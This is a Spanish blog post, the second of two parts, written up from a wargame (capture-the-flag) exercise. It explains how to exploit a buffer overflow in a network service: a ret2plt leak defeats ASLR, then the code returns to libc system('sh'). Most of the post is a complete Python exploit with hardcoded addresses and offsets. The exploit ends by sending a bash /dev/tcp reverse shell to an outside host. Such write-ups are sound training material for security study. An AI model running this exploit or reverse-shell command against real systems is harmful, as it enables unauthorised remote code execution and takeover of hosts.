Wargames y la alegría de un SegFault (2 de 2)

Ahora procederemos con la segunda fase, lograr la ejecución de código arbitrario. Aquí como siempre suelen existir múltiples caminos y cada uno da rienda suelta a su imaginación. Tras luchar algún tiempo con herramientas como "ROPgadget" y "ropeme", se hace evidente que la sección de texto de la aplicación no contiene demasiados gadgets con los que trabajar, por lo que un ataque ROP habitual no parece sencillo.

En la red puede encontrarse alguna solución con métodos avanzados de ROP en varias fases cuya lectura es altamente recomendable. Mi solución sigue los pasos de la idea expuesta en la última sección del capítulo 7 del libro Linux Exploiting. Aunque algunos consideren que un ataque Return-to-libc o ret2libc no sea turing complete, es decir, que permita todo tipo de computaciones arbitrarias como ROP, si con ello conseguimos obtener una shell de comandos al final el resultado será idéntico, control total sobre el sistema objetivo.

La pregunta es, si ASLR se encuentra activado y la libc se carga en direcciones aleatorias en cada reinicio de la aplicación, ¿de dónde demonios sacamos la dirección de una función como system()? La respuesta se halla en el uso de la técnica ret2plt. Podemos sobreescribir EIP con la dirección de la función write() en la PLT, y pasarle como argumentos: stdout(0x1), la dirección de una entrada en la GOT "resuelta", y el tamaño de la dirección (0x4). El servidor nos enviará de vuelta una dirección de una función perteneciente a la libc a la que podemos restar un offset conocido para obtener la base de la librería.

Una vez con la dirección base en la mano, la función system() también se encontrará en un desplazamiento u offset estático. Curiosamente vamos a obtener la dirección de la misma función write() en la GOT, ya que se trata de una función que ha sido ejecutada por el programa en varias ocasiones y por lo tanto ha sido previamente resuelta. El nuevo payload tiene un aspecto como el siguiente:

padding = "A" * (32 * 4096 + 16)
write_plt = pack("<I", 0x080489c0)
write_got = pack("<I", 0x0804b3dc)
stdout = pack("<I", 1)
len_to_write = pack("<I", 4)
orig_payload = padding + write_plt + "AAAA" + stdout + write_got + len_to_write
payload = ''
for i in range(len(orig_payload)):
        payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
buf = sk.recv(4)
libc_base = unpack("<I", buf)[0] - 0xc12c0
print "[+] Libc Base: " + str(hex(libc_base))
libc_system = libc_base + 0x3cb20
print "[+] system() : " + str(hex(libc_system))
sleep(0.2)
sk.sendall("Q")

Obteniendo:


Figura 4: Resultado obtenido con este nuevo payload

Alguien podría preguntarse de dónde hemos obtenido los offsets necesarios. No se oculta ningún truco bajo la manga, otra ilustración demuestra que los cálculos no son mágicos.

Figura 5: Offsets

Con la dirección de system() en nuestro poder también necesitamos la dirección de una cadena "sh" que se encuentre en una dirección estática y predecible. La zona de código de la libc seguía pareciendo un lugar adecuado:

Figura 6: búsqueda de la dirección de la cadena sh

La situación que se presenta ahora es la siguiente: tenemos la clave de cifrado para enviar datos al servidor y controlar EIP, tenemos la dirección de la función de librería system() y tenemos la dirección de una cadena "sh". El único problema es que si cerramos el socket y volvemos a empezar desde el principio con los datos obtenidos, la clave de cifrado cambiará con la nueva conexión y tendremos que comenzar el proceso desde cero.

Aunque es un camino totalmente aceptable, una ingeniosa idea vino a mi mente. En el fragmento de script anterior escribimos cuatro caracteres "A" después de la dirección de write() en la PLT, podemos sustituir estos 4 bytes por una dirección de retorno más útil, que resulta ser la dirección de la función encrypt_file(), lo que divertidamente nos lleva de nuevo al ciclo de recepción de datos, todo ello sin cambio de clave de cifrado.

En el siguiente envío de datos podemos volver a explotar el buffer vulnerable y sobreescribir el registro EIP, pero esta vez con la dirección de system() seguido de la dirección de la cadena "sh". El ciclo sería más o menos como el siguiente:

1 – encrypt_file()
2 – write@plt(stdout, &write@got, 4) 3 – encrypt_file()
4 – system("sh")

Una vez la shell sea ejecutada, todos los datos enviados a través del socket serán interpretados como comandos del sistema. Podemos aprovechar esto para ejecutar una shell inversa que se conecte a nuestra máquina. He aquí el exploit final:

from socket import *
from struct import *
from time import *
sk = socket(AF_INET, SOCK_STREAM)
sk.connect(("192.168.0.119", 20002))
size = pack("<I", 128)
print sk.recv(57, MSG_WAITALL)
sk.send("E")
sk.send(size)
sk.send("\x00"*128) 

msg = sk.recv(120, MSG_WAITALL)
print "[+] (" + str(len(msg)) + ") " + msg
buf = sk.recv(4)
size = unpack("<I", buf)[0]
print "[+] Recibido: " + str(hex(size)) + " bytes"
key = sk.recv(128, MSG_WAITALL)
print "[+] Clave: " + key.encode("hex") 

padding = "A" * (32 * 4096 + 16)
write_plt = pack("<I", 0x080489c0)
write_got = pack("<I", 0x0804b3dc)
stdout = pack("<I", 1)
len_to_write = pack("<I", 4)
encrypt_file = pack("<I", 0x080497f7)
orig_payload = padding + write_plt + encrypt_file + stdout + write_got + len_to_write 

payload = ''
for i in range(len(orig_payload)):
          payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128])) 

payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
buf = sk.recv(4)
libc_base = unpack("<I", buf)[0] - 0xc12c0
print "[+] Libc Base: " + str(hex(libc_base))
libc_system = libc_base + 0x3cb20
print "[+] system(): " + str(hex(libc_system))
sh_string = libc_base + 0xf41d
print "[+] 'sh': " + str(hex(sh_string)) 

exploit_payload = padding + pack("<I", libc_system) + "AAAA" + pack("<I", sh_string)
payload = ''
for i in range(len(exploit_payload)):
           payload += chr(ord(exploit_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print sk.recv(57, MSG_WAITALL)
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
sk.sendall("id\n")
print "[+] (id): " + sk.recv(10, MSG_WAITALL)
print "[+] Iniciando shell remota inversa..."
sk.sendall("bash -i >& /dev/tcp/192.168.0.11/31337 0>&1\n")
sk.close()

Y llega el momento que te levanta de la silla:


Figura 7: Reto conseguido

Como nota adicional y anécdota que nunca falta en este tipo de wargames, comentar que tras la ejecución del exploit final me tiré 20 minutos sin obtener resultado alguno, hasta darme cuenta finalmente que tenía el firewall activo bloqueando todas las conexiones entrantes. Resulta divertido pensar que el elemento de seguridad que me estaba protegiendo a mí, también estaba protegiendo a mi objetivo, pero por poco tiempo :)

El dinero está bien, pero la vida puede encontrar sentido entre estos pequeños retos. Feliz Hacking!!!

Autor: blackngel autor del libro Linux Exploiting

****************************************************************************************
- Wargames y la alegría de un SegFault (1 de 2). No todo es dinero.
- Wargames y la alegría de un SegFault (2 de 2). No todo es dinero.
****************************************************************************************